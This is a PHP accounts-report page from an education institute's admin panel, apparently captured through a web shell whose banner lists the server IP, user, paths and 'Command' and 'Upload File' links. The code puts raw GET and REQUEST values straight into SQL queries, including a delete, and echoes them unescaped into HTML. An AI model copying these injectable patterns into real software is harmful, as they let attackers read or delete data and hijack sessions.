|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/miereducation.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
$installment_id=mysqli_fetch_array($installment_id);
$installment_id=$installment_id['menuper'];
$menuper=explode(',',$installment_id);
if(in_array('Manage Accounts',$menuper)){
}else{
header("location:index.php");
}
$_SESSION['page_name']="Accounts Reports";
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
$dovalue="";
$doid=$_REQUEST['did'];
$check=mysqli_query($con,"delete from setinstallment where id='$doid'");
if($check){
$_SESSION['msg']='Record Deleted Successfully';
}
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=setinstallmentreports.php">';
}
?>
<script src="plugins/jQuery/jQuery-2.1.4.min.js" type="text/javascript"></script>
<div class="content-wrapper">
<section class="content-header">
<h1> Account Reports</h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="#">Account Reports</a></li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-xs-12">
<div class="box">
<div class="box-header">
</div><!-- /.box-header -->
<div class="box-body" style="overflow-x: scroll;">
<form action="" method="GET" style="margin-bottom:50px;" >
<div class="col-md-12">
<div class="col-md-6">
<input type="date" name="from" placeholder="dd/mm/yyyy"
value="<?php if(!empty($_GET['from'])){ echo $_GET['from']; }else{ } ?>"
class="form-control col-md-3" style="width:210px;float:right;margin-right:103px;" /> <b>Account Report From :</b>
</div>
<div class="col-md-6"> <b>To:</b> <input type="date" name="to" placeholder="dd/mm/yyyy"
value="<?php if(!empty($_GET['to'])){ echo $_GET['to']; }else{ } ?>"
class="form-control col-md-3" style="width:210px;float:right;margin-right:203px;" />
</div>
</div>
<div class="col-md-12">
<div class="col-md-4">
<select name="course" id="coursealert" class="form-control subject " style="width:130px;float:right;margin-right:0px;">
<option value=''>-select-</option>
<?php $CasteQuery=mysqli_query($con,"select * from course");
while($CasteRow=mysqli_fetch_array($CasteQuery)){
echo '<option value="'.$CasteRow['id'].'" '.($_GET['course'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['c_name'].'</option>';
} ?>
</select> <b>Select Course :</b>
</div>
<div class="col-md-4"> <select name="acwise" id="coursealert" class="form-control subject " style="width:130px;float:right;margin-right:0px;">
<option value=''>-select-</option>
<?php $partycategory=mysqli_query($con,"select * from partycategory");
while($CasteRow=mysqli_fetch_array($partycategory)){
echo '<option value="'.$CasteRow['id'].'" '.($_GET['acwise'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['party_name'].'</option>';
} ?>
</select> <b>Account Category Wise:</b>
</div>
<div class="col-md-4">
<select name="transaction_type" id="coursealert" class="form-control subject " style="width:130px;float:right;margin-right:0px;">
<option value=''>-select-</option>
<option value='Income' <?php if($_GET['transaction_type']=='Income'){ echo 'selected'; } ?> >Income</option>
<option value='Expence'
<?php if($_GET['transaction_type']=='Expence'){ echo 'selected'; } ?>
>Expence</option>
</select>
<b>Transaction Type Wise:</b>
</div>
</div>
<div class="col-md-12">
<div class="col-md-4">
<select name="partyname" id="coursealert" class="form-control subject " style="width:130px;float:right;margin-right:0px;">
<option value=''>-select-</option>
<?php $CasteQuery=mysqli_query($con,"select * from party_entry");
while($CasteRow=mysqli_fetch_array($CasteQuery)){
echo '<option value="'.$CasteRow['id'].'" '.($_GET['partyname'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['partyname'].'</option>';
} ?>
</select> <b>Select Party Name :</b>
</div>
</div>
<input type="submit" name="s" value="Search" class="btn btn-success"/>
<button type="reset" value="Reset" class="btn btn-primary">Reset</button>
</form>
<?php
$mobile=$_GET['s'];
?>
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Sr No</th>
<th>ID</th>
<th>Receipt No</th>
<th>Category Name</th>
<th scope="col">Name</th>
<th scope="col">Course</th>
<th scope="col">Transaction Type</th>
<th scope="col">Amount </th>
<th scope="col">Payment Mode</th>
<th scope="col">Created</th>
<th scope="col">Entry User</th>
</tr>
</thead>
<tbody>
<?php
if(!empty($mobile)){
$from =$_GET['from'];
$to =$_GET['to'];
$dates="";
$course="";
$acwise="";
$transaction_type="";
$partyname="";
/**************************************/
$PartyTranctions_dates="";
$party_payamount_dates="";
$admission_enquiry_form_dates="";
$student_booking_dates="";
$payinstallment_dates="";
$installment_consultants_payments_dates="";
$employeesalarypayment_dates="";
/******************************************/
//Acount Category
$PartyTranctions_dates_category="";
$party_payamount_dates_category="";
if(!empty($_GET["course"])){
$course.=" AND course.id='".$_GET['course']."'";
}
if(!empty($_GET["acwise"])){
$PartyTranctions_dates_category.=" AND partycategory.id='".$_GET['acwise']."'";
$party_payamount_dates_category.=" AND partycategory.id='".$_GET['acwise']."'";
$admission_enquiry_form_dates.=" AND admission_enquiry_form.student_id='000'";
$student_booking_dates.=" AND student_enqury_form.student_id='000'";
$payinstallment_dates.=" AND payinstallment.enquiry_id='000'";
$installment_consultants_payments_dates.=" AND installment_consultants_payments.student_id='000'";
$employeesalarypayment_dates.=" AND employeesalarypayment.EmployeeId='000' ";
}
if(!empty($_GET["transaction_type"])){
$PartyTranctions_dates.=" AND party_entry.partytype='".$_GET['transaction_type']."'";
$party_payamount_dates.=" AND party_entry.partytype='".$_GET['transaction_type']."'";
$admission_enquiry_form_dates.=" AND admission_enquiry_form.incomeorexpence='".$_GET['transaction_type']."'";
$student_booking_dates.=" AND student_enqury_form.incomeorexpence='".$_GET['transaction_type']."'";
$payinstallment_dates.=" AND feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$installment_consultants_payments_dates.=" AND consultants.incomeorexpence='".$_GET['transaction_type']."'";
$employeesalarypayment_dates.=" AND employeeentryform.incomeorexpence='".$_GET['transaction_type']."' ";
}
if(!empty($_GET["partyname"])){
$PartyTranctions_dates_category.=" AND party_entry.id='".$_GET['partyname']."'";
$party_payamount_dates_category.=" AND party_entry.id='".$_GET['partyname']."'";
$admission_enquiry_form_dates.=" AND admission_enquiry_form.student_id='000'";
$student_booking_dates.=" AND student_enqury_form.student_id='000'";
$payinstallment_dates.=" AND payinstallment.enquiry_id='000'";
$installment_consultants_payments_dates.=" AND installment_consultants_payments.student_id='000'";
$employeesalarypayment_dates.=" AND employeesalarypayment.EmployeeId='000' ";
}
if(!empty($_GET["from"])){
$PartyTranctions_dates.=" AND PartyTranctions.created_at >='$from 00:00:00'";
$party_payamount_dates.=" AND party_payamount.created_at >='$from 00:00:00'";
$admission_enquiry_form_dates.=" AND admission_enquiry_form.created_at >='$from 00:00:00'";
$student_booking_dates.=" AND student_enqury_form.created_at >='$from 00:00:00'";
$payinstallment_dates.=" AND payinstallment.created_at >='$from 00:00:00'";
$installment_consultants_payments_dates.=" AND installment_consultants_payments.created_at >='$from 00:00:00'";
$employeesalarypayment_dates.=" AND employeesalarypayment.created_at >='$from 00:00:00'";
}
if(!empty($_GET["to"])){
$PartyTranctions_dates.=" AND PartyTranctions.created_at <='$to 00:00:00'";
$party_payamount_dates.=" AND party_payamount.created_at <='$to 00:00:00'";
$admission_enquiry_form_dates.=" AND admission_enquiry_form.created_at <='$to 00:00:00'";
$student_booking_dates.=" AND student_enqury_form.created_at <='$to 00:00:00'";
$payinstallment_dates.=" AND payinstallment.created_at <='$to 00:00:00'";
$installment_consultants_payments_dates.=" AND installment_consultants_payments.created_at <='$to 00:00:00'";
$employeesalarypayment_dates.=" AND employeesalarypayment.created_at <='$to 00:00:00'";
}
//26.10.1996
$Query=mysqli_query($con,"
select PartyTranctions.id as receipt_no,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, PartyTranctions.Pay_Amount as Bill_Amount, PartyTranctions.created_at as creat, admin.username as username,PartyTranctions.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
left JOIN admin as admin ON PartyTranctions.user_id=admin.id where 1=1
$course $PartyTranctions_dates $PartyTranctions_dates_category AND PartyTranctions.approve=1
UNION
select party_payamount.id as receipt_no,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, party_payamount.transactionamount as Bill_Amount, party_payamount.created_at as creat, admin.username as username,party_payamount.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id left JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
right JOIN party_payamount as party_payamount ON PartyTranctions.Transaction_id=party_payamount.transaction_id
left JOIN admin as admin ON party_payamount.user_id=admin.id where 1=1
$course $party_payamount_dates
$party_payamount_dates_category AND party_payamount.approve=1
UNION SELECT student_enqury_form.id as receipt_no,student_enqury_form.student_id as stuid, student_enqury_form.name as name, course.c_name as cname, null, student_enqury_form.incomeorexpence as incomeorexpence, student_enqury_form.booking_amount as feeamount, student_enqury_form.created_at as creates ,admin.username as username,student_enqury_form.PaymentType
as paymentmode
FROM student_enqury_form LEFT JOIN course ON student_enqury_form.course_id=course.id
left JOIN admin as admin ON student_enqury_form.user_id=admin.id where 1=1
$course $student_booking_dates
UNION SELECT admission_enquiry_form.id as receipt_no,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, admission_enquiry_form.incomeorexpence as incomeorexpence, admission_enquiry_form.submitfee as feeamount, admission_enquiry_form.created_at as creates ,admin.username as username,admission_enquiry_form.paymentmode
as paymentmode
FROM admission_enquiry_form LEFT JOIN course ON admission_enquiry_form.course=course.id
left JOIN admin as admin ON admission_enquiry_form.user_id=admin.id where 1=1
$course $admission_enquiry_form_dates
UNION SELECT payinstallment.id as receipt_no,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, feeheadmaster.incomeorexpence as incomeorexpence, payinstallment.payment_amount as feeamount, payinstallment.created_at as creates ,admin.username as username,payinstallment.payment_mode as payment_mode
FROM payinstallment left JOIN admission_enquiry_form ON payinstallment.enquiry_id=admission_enquiry_form.student_id LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON payinstallment.user_id=admin.id where 1=1
$course $payinstallment_dates
UNION SELECT installment_consultants_payments.id as receipt_no,consultants.id as stuid, consultants.name as name, course.c_name as cname, null, consultants.incomeorexpence as incomeorexpence, installment_consultants_payments.submitamount as feeamount, installment_consultants_payments.created_at as creates ,admin.username as username,installment_consultants_payments.paymentmode as paymentmode
FROM installment_consultants_payments left JOIN consultants ON installment_consultants_payments.consultants_id=consultants.id
left JOIN admission_enquiry_form as admission_enquiry_form ON installment_consultants_payments.student_id=admission_enquiry_form.student_id
LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON installment_consultants_payments.user_id=admin.id where 1=1
$course $installment_consultants_payments_dates AND installment_consultants_payments.approve=1
UNION SELECT employeesalarypayment.EmployeeSalaryPaymentID as receipt_no,employeeentryform.empid as stuid, employeeentryform.EmployeeName as name, course.c_name as cname, null, employeeentryform.incomeorexpence as incomeorexpence, employeesalarypayment.paidsalary as feeamount, employeesalarypayment.created_at as creates ,admin.username as username,employeesalarypayment.PaymentMode as
PaymentMode
FROM employeesalarypayment left JOIN employeeentryform ON employeesalarypayment.EmployeeId=employeeentryform.empid
LEFT JOIN course ON employeeentryform.course=course.id
left JOIN admin as admin ON employeesalarypayment.user_id=admin.id where 1=1
$course $employeesalarypayment_dates AND employeesalarypayment.approve=1
");
$Queryf=mysqli_query($con,
"select *,sum(PartyTranctions.Bill_Amount) as totalamounts ,party_entry.created_at as creat,party_entry.id as id from party_entry
left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id
right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN admin as
admin ON party_entry.user_id=admin.id
left JOIN course as
course ON PartyTranctions.course=course.id
where 1=1 $dates $course $acwise $transaction_type $partyname
");
}else{
$Query=mysqli_query($con,"
select PartyTranctions.id as receipt_no,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, PartyTranctions.Pay_Amount as Bill_Amount, PartyTranctions.created_at as creat, admin.username as username
,PartyTranctions.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
left JOIN admin as admin ON PartyTranctions.user_id=admin.id where PartyTranctions.approve=1
UNION
select party_payamount.id as receipt_no,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, party_payamount.transactionamount as Bill_Amount, party_payamount.created_at as creat, admin.username as username
,party_payamount.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id left JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
right JOIN party_payamount as party_payamount ON PartyTranctions.Transaction_id=party_payamount.transaction_id
left JOIN admin as admin ON party_payamount.user_id=admin.id where party_payamount.approve=1
UNION SELECT student_enqury_form.id as receipt_no,student_enqury_form.student_id as stuid, student_enqury_form.name as name, course.c_name as cname, null, student_enqury_form.incomeorexpence as incomeorexpence, student_enqury_form.booking_amount as feeamount, student_enqury_form.created_at as creates ,admin.username as username,student_enqury_form.PaymentType
as paymentmode
FROM student_enqury_form LEFT JOIN course ON student_enqury_form.course_id=course.id
left JOIN admin as admin ON student_enqury_form.user_id=admin.id
UNION SELECT admission_enquiry_form.id as receipt_no,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, admission_enquiry_form.incomeorexpence as incomeorexpence, admission_enquiry_form.submitfee as feeamount, admission_enquiry_form.created_at as creates ,admin.username as username,admission_enquiry_form.paymentmode
as paymentmode
FROM admission_enquiry_form LEFT JOIN course ON admission_enquiry_form.course=course.id
left JOIN admin as admin ON admission_enquiry_form.user_id=admin.id
UNION SELECT payinstallment.id as receipt_no,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, feeheadmaster.incomeorexpence as incomeorexpence, payinstallment.payment_amount as feeamount, payinstallment.created_at as creates ,admin.username as username,payinstallment.payment_mode as Payment_Mode
FROM payinstallment left JOIN admission_enquiry_form ON payinstallment.enquiry_id=admission_enquiry_form.student_id LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON payinstallment.user_id=admin.id
UNION SELECT installment_consultants_payments.id as receipt_no,consultants.id as stuid, consultants.name as name, course.c_name as cname, null, consultants.incomeorexpence as incomeorexpence, installment_consultants_payments.submitamount as feeamount, installment_consultants_payments.created_at as creates ,admin.username as username
,installment_consultants_payments.paymentmode as Payment_Mode
FROM installment_consultants_payments left JOIN consultants ON installment_consultants_payments.consultants_id=consultants.id
left JOIN admission_enquiry_form as admission_enquiry_form ON installment_consultants_payments.student_id=admission_enquiry_form.student_id
LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON installment_consultants_payments.user_id=admin.id where installment_consultants_payments.approve=1
UNION SELECT employeesalarypayment.EmployeeSalaryPaymentID as receipt_no,employeeentryform.empid as stuid, employeeentryform.EmployeeName as name, course.c_name as cname, null, employeeentryform.incomeorexpence as incomeorexpence, employeesalarypayment.paidsalary as feeamount, employeesalarypayment.created_at as creates ,admin.username as username
,employeesalarypayment.PaymentMode as
Payment_Mode
FROM employeesalarypayment left JOIN employeeentryform ON employeesalarypayment.EmployeeId=employeeentryform.empid
LEFT JOIN course ON employeeentryform.course=course.id
left JOIN admin as admin ON employeesalarypayment.user_id=admin.id where employeesalarypayment.approve=1
");
$Queryf=mysqli_query($con," select PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, PartyTranctions.Pay_Amount as Bill_Amount, PartyTranctions.created_at as creat, admin.username as username
,PartyTranctions.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
left JOIN admin as admin ON PartyTranctions.user_id=admin.id where PartyTranctions.approve=1
UNION
select c.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, party_payamount.transactionamount as Bill_Amount, party_payamount.created_at as creat, admin.username as username
,party_payamount.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id left JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
right JOIN party_payamount as party_payamount ON PartyTranctions.Transaction_id=party_payamount.transaction_id
left JOIN admin as admin ON party_payamount.user_id=admin.id where PartyTranctions.approve=1
UNION SELECT student_enqury_form.id as receipt_no,student_enqury_form.student_id as stuid, student_enqury_form.name as name, course.c_name as cname, null, student_enqury_form.incomeorexpence as incomeorexpence, student_enqury_form.booking_amount as feeamount, student_enqury_form.created_at as creates ,admin.username as username,student_enqury_form.PaymentType
as paymentmode
FROM student_enqury_form LEFT JOIN course ON student_enqury_form.course_id=course.id
left JOIN admin as admin ON student_enqury_form.user_id=admin.id
UNION SELECT admission_enquiry_form.id as receipt_no,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, admission_enquiry_form.incomeorexpence as incomeorexpence, admission_enquiry_form.submitfee as feeamount, admission_enquiry_form.created_at as creates ,admin.username as username,admission_enquiry_form.paymentmode
as paymentmode
FROM admission_enquiry_form LEFT JOIN course ON admission_enquiry_form.course=course.id
left JOIN admin as admin ON admission_enquiry_form.user_id=admin.id
UNION SELECT consultants.id as stuid, consultants.name as name, course.c_name as cname, null, consultants.incomeorexpence as incomeorexpence, installment_consultants_payments.submitamount as feeamount, installment_consultants_payments.created_at as creates ,admin.username as username
,installment_consultants_payments.paymentmode as Payment_Mode
FROM installment_consultants_payments left JOIN consultants ON installment_consultants_payments.consultants_id=consultants.id
left JOIN admission_enquiry_form as admission_enquiry_form ON installment_consultants_payments.student_id=admission_enquiry_form.student_id
LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON installment_consultants_payments.user_id=admin.id where installment_consultants_payments.approve=1
UNION SELECT employeeentryform.empid as stuid, employeeentryform.EmployeeName as name, course.c_name as cname, null, employeeentryform.incomeorexpence as incomeorexpence, employeesalarypayment.paidsalary as feeamount, employeesalarypayment.created_at as creates ,admin.username as username
,employeesalarypayment.PaymentMode as
Payment_Mode
FROM employeesalarypayment left JOIN employeeentryform ON employeesalarypayment.EmployeeId=employeeentryform.empid
LEFT JOIN course ON employeeentryform.course=course.id
left JOIN admin as admin ON employeesalarypayment.user_id=admin.id where employeesalarypayment.approve=1
");
}
$Rowf=mysqli_fetch_array($Queryf);
//print_r($Query);
$i = 1;
$income=0;
$expence=0;
while($Row=mysqli_fetch_array($Query)){
// print_r($Row);
?>
<tr>
<td><?=$i;?></td>
<td><?=$Row['Transaction_id'];?></td>
<td><?=$Row['receipt_no'];?></td>
<td><?=$Row['accountcateogy'];?></td>
<td><?=$Row['party_name'];?></td>
<td><?=$Row['c_name'];?></td>
<td><?=$Row['Transactiontype'];?></td>
<?php
if($Row['Transactiontype']=="Income"){
$income+=$Row['Bill_Amount'];
}else{
$expence+=$Row['Bill_Amount'];
}
?>
<td><?=$Row['Bill_Amount'];?></td>
<td><?=$Row['Payment_Mode'];?></td>
<td><?=$Row['creat'];?></td>
<td><?=$Row['username'];?></td>
</tr>
<?php $i++;} ?>
<tr>
<td>Total Income Amount :</td>
<td><?=$income;?></td>
<td>Total Expence Amount :</td>
<td><?=$expence;?></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<!--<p><b>Total Income Amount :</b> <?=$income;?></p>-->
<!--<p><b>Total Expence Amount :</b> <?=$expence;?></p>-->
</div><!-- /.box-body -->
</div><!-- /.box -->
</div><!-- /.col -->
</div><!-- /.row -->
</section><!-- /.content -->
</div><!-- /.content-wrapper -->
<!-- footer start -->
<?php
include('include/footer.php');
?>
<!-- footer end -->
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.min.js" type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js" type="text/javascript"></script>
<script src="bootstrap/js/dataTables.buttons.min.js" type="text/javascript"></script>
<script src="bootstrap/js/jszip.min.js" type="text/javascript"></script>
<script src="bootstrap/js/pdfmake.min.js" type="text/javascript"></script>
<script src="bootstrap/js/vfs_fonts.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.html5.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.print.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.colVis.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.flash.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function() {
$('#example1').DataTable( {
dom: 'Bfrtip',
columnDefs: [
{
targets: 1,
className: 'noVis'
}
],
buttons: [
{
extend: 'colvis',
columns: ':not(.noVis)'
}
],
buttons: [
{ extend: 'colvis', text: 'COLOUMNS' },
{ extend: 'csv', text: 'Export to CSV' },
{ extend: 'excel', text: 'Export to Excel' },
{ extend: 'pdfHtml5', text: 'Create PDF', orientation: 'landscape', exportOptions: { columns: ':visible' } },
{ extend: 'print', text: 'Print', exportOptions:{columns: ':visible',autoPrint: true}}
],
} );
$('#example2').DataTable( {
dom: 'Bfrtip',
columnDefs: [
{
targets: 1,
className: 'noVis'
}
],
buttons: [
{
extend: 'colvis',
columns: ':not(.noVis)'
}
],
buttons: [
{ extend: 'colvis', text: 'COLOUMNS' },
{ extend: 'csv', text: 'Export to CSV' },
{ extend: 'excel', text: 'Export to Excel' },
{ extend: 'pdfHtml5', text: 'Create PDF', orientation: 'landscape', exportOptions: { columns: ':visible' } },
{ extend: 'print', text: 'Print', exportOptions:{columns: ':visible',autoPrint: true}}
],
} );
} );
//$(function () {
//$("#example1").DataTable();
//});
</script>